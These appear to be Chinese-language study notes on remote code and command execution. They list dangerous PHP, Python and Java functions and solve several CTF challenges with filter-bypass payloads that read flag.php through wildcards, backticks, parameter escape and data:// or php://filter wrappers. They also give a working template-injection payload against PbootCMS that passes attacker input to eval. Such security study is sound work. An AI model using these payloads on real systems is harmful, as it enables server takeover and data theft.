#知识点:
1、RCE 执行-代码执行&命令执行
2、CTF 考点-漏洞配合&绕过手法
3、利用审计-CMS 框架&中间件等
#详细点:
1.为什么会产生此类安全问题
2.此类安全问题探针利用及危害
3.此类安全问题在 CTF 即 CMS 分析
漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行
漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)
漏洞对象:WEB 源码&中间件&其他环境(见漏洞详情对象)
漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令
RCE黑盒难度较大
Ø RCE-原理&探针&利用&危害等
Ø CTF-29~39-RCE 代码命令执行
Ø CMS-PbootCMS 审计-RCE 执行
Ø 层面-探针-语言&CMS&中间件等
#RCE-原理&探针&利用&危害等
举例:
<?php
//eval 代码执行
eval('phpinfo();');
//system 命令执行
system('ipconfig');
?>
-RCE 代码执行:引用脚本代码解析执行
-RCE 命令执行:脚本调用操作系统命令
漏洞函数:
1.PHP:
eval()、assert()、preg_replace()、call_user_func()、
call_user_func_array()以及 array_map()等
system、shell_exec、popen、passthru、proc_open 等
2.Python:
eval exec subprocess os.system commands
3.Java:
Java 中没有类似 php 中 eval 函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL
等.
#CTF-29~39-RCE 代码命令执行
29-通配符
由代码得知它将flag这个字符进行了过滤,那我们此时输入其他的如phpinfo();
显出来了,说明此功能点为代码执行RCE,那我们进行调用系统命令去查看当前文件system(‘ls’);
system('tac fla*.php');
由于flag被过滤,所以用模糊查询进行搜索
30取代函数&通配符&管道符
对flag、system、php进行过滤
第一种:用其他函数
echo shell_exec('ls');
echo shell_exec('tac fla*.ph*');
第二种:利用php的特性,反引号会让php以为此代码为系统命令,进行执行
`cp fla*.ph* 2.txt`; ——拷贝flag.txt的内容
再访问2.txt即可
31-参数逃逸
发现对c过滤的更多了,利用参数逃逸,创建一个新的参数:
eval($_GET[1]);&1=phpinfo();
eval($_GET[1]);&1=system('tac flag.php');
32~36-配合包含&伪协议
让RCE转到文件包含中,在文件包含中,进行绕过
include$_GET[a]?>&a=data://text/plain,<?=system('tac
flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-
encode/resource=flag.php
32
多了个过滤分号
37~39-包含&伪协议&通配符
data://text/plain,<?=system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>
由于它的c变量,进行了文件包含,那就直接以文件包含的形式进行注入即可
#代码审计-PbootCMS-RCE 代码执行
流程:搜索特定函数->parserltfLabel->parserCommom-> About&Content->构造
Payload:
AboutController文件: {pboot:if(eval($_ POST[1]))}!!!{/pboot:if}
ContentController文件:
/index.php/Content/2?keyword={pboot:if(eval($_ REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
#层面_探针语言&CMS框架&中间件
vulfocus.io Shiro weblogic